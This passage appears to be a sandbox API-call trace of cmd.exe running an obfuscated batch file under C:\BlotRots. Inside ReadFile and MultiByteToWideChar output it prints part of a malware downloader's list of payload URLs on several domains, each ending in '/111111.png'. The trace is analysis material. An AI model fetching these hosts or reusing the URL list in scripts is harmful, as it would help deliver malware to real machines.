lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.802] GetLastError () returned 0x2 [0232.802] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.802] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92ccd0 [0232.802] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0232.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.803] GetLastError () returned 0x2 [0232.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.803] GetLastError () returned 0x2 [0232.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.803] GetLastError () returned 0x2 [0232.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.803] GetLastError () returned 0x2 [0232.803] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.804] GetLastError () returned 0x2 [0232.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.804] GetLastError () returned 0x2 [0232.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.804] GetLastError () returned 0x2 [0232.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.804] GetLastError () returned 0x2 [0232.804] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.805] GetLastError () returned 0x2 [0232.805] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.805] GetLastError () returned 0x2 [0232.805] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.805] GetLastError () returned 0x2 [0232.805] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.805] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.805] GetLastError () returned 0x2 [0232.805] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.805] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.805] GetLastError () returned 0x2 [0232.805] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.806] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.806] GetLastError () returned 0x2 [0232.806] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.806] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0232.806] GetLastError () returned 0x2 [0232.806] ??_V@YAXPEAX@Z () returned 0x1 [0232.806] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.806] GetFileType (hFile=0x54) returned 0x2 [0232.807] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0232.807] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0232.812] _get_osfhandle (_FileHandle=2) returned 0x54 [0232.812] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0232.813] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0232.813] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0232.813] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0232.822] ??_V@YAXPEAX@Z () returned 0x1 [0232.824] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.824] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.824] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.824] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.825] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.825] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.825] SetConsoleInputExeNameW () returned 0x1 [0232.825] GetConsoleOutputCP () returned 0x1b5 [0232.826] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.826] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.826] ??_V@YAXPEAX@Z () returned 0x1 [0232.828] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.828] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.828] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.828] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4998, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1386 [0232.828] GetProcessHeap () returned 0x20b0f920000 [0232.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956ac0) returned 1 [0232.828] GetProcessHeap () returned 0x20b0f920000 [0232.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.828] GetProcessHeap () returned 0x20b0f920000 [0232.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0232.828] GetProcessHeap () returned 0x20b0f920000 [0232.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0232.828] GetProcessHeap () returned 0x20b0f920000 [0232.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0232.828] GetProcessHeap () returned 0x20b0f920000 [0232.828] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0232.828] GetProcessHeap () returned 0x20b0f920000 [0232.829] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956d00) returned 1 [0232.829] GetProcessHeap () returned 0x20b0f920000 [0232.829] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.829] GetProcessHeap () returned 0x20b0f920000 [0232.829] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0232.829] GetProcessHeap () returned 0x20b0f920000 [0232.829] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.831] GetProcessHeap () returned 0x20b0f920000 [0232.831] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9259d0) returned 1 [0232.831] GetProcessHeap () returned 0x20b0f920000 [0232.831] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0232.831] GetProcessHeap () returned 0x20b0f920000 [0232.832] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.832] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.832] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1386 [0232.832] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x42f, lpOverlapped=0x0) returned 1 [0232.832] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5007, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x138f [0232.832] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0232.832] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.832] GetFileType (hFile=0x9c) returned 0x1 [0232.832] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.832] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138f [0232.832] GetProcessHeap () returned 0x20b0f920000 [0232.832] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.833] GetProcessHeap () returned 0x20b0f920000 [0232.833] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.833] _tell (_FileHandle=3) returned 5007 [0232.833] _close (_FileHandle=3) returned 0 [0232.835] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.835] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.835] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.835] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5007, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x138f [0232.836] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.836] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x138f [0232.836] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x426, lpOverlapped=0x0) returned 1 [0232.836] SetFilePointer (in: hFile=0x9c, lDistanceToMove=5098, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13ea [0232.836] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0232.836] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.836] GetFileType (hFile=0x9c) returned 0x1 [0232.836] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.836] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13ea [0232.836] GetProcessHeap () returned 0x20b0f920000 [0232.836] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.837] GetProcessHeap () returned 0x20b0f920000 [0232.837] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.837] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0232.837] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0232.837] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0232.837] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0232.837] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0232.837] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0232.837] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0232.837] GetProcessHeap () returned 0x20b0f920000 [0232.837] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.837] GetProcessHeap () returned 0x20b0f920000 [0232.837] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0232.837] GetProcessHeap () returned 0x20b0f920000 [0232.837] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f9259d0 [0232.838] _tell (_FileHandle=3) returned 5098 [0232.838] _close (_FileHandle=3) returned 0 [0232.838] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.838] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.838] GetFileType (hFile=0x50) returned 0x2 [0232.838] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.838] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.842] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.842] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.848] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.848] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.848] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.848] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.848] GetFileType (hFile=0x50) returned 0x2 [0232.848] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.848] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.849] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.849] GetFileType (hFile=0x50) returned 0x2 [0232.849] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.849] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.850] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0232.850] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0232.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.850] GetFileType (hFile=0x50) returned 0x2 [0232.850] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.850] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.851] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0232.851] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.851] GetFileType (hFile=0x50) returned 0x2 [0232.851] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.852] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.852] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.857] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.858] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.858] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.858] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.858] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.858] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.858] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.858] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.858] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.859] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.859] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.859] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.859] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.859] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.859] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.859] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.859] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.859] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.859] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.859] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.859] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.859] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.859] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.859] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.859] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.859] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.859] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.859] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.859] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.859] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.859] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.859] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.859] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.859] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.859] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.859] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.859] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.860] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.860] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.860] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.860] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.860] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.860] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.860] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.860] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.860] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.860] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.861] GetProcessHeap () returned 0x20b0f920000 [0232.861] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.864] SetErrorMode (uMode=0x0) returned 0x0 [0232.864] SetErrorMode (uMode=0x1) returned 0x0 [0232.864] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.864] SetErrorMode (uMode=0x0) returned 0x1 [0232.864] GetProcessHeap () returned 0x20b0f920000 [0232.864] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0232.864] GetProcessHeap () returned 0x20b0f920000 [0232.864] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0232.864] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.864] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.864] GetProcessHeap () returned 0x20b0f920000 [0232.864] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f947a50 [0232.864] GetProcessHeap () returned 0x20b0f920000 [0232.864] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.864] GetProcessHeap () returned 0x20b0f920000 [0232.864] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.864] GetProcessHeap () returned 0x20b0f920000 [0232.864] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.864] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.864] GetProcessHeap () returned 0x20b0f920000 [0232.865] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f946fb0 [0232.865] GetProcessHeap () returned 0x20b0f920000 [0232.865] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f946fb0, Size=0x7e) returned 0x20b0f9567f0 [0232.865] GetProcessHeap () returned 0x20b0f920000 [0232.865] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9567f0) returned 0x7e [0232.865] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ceb0 [0232.865] FindClose (in: hFindFile=0x20b0f92ceb0 | out: hFindFile=0x20b0f92ceb0) returned 1 [0232.865] FindFirstFileExW (in: 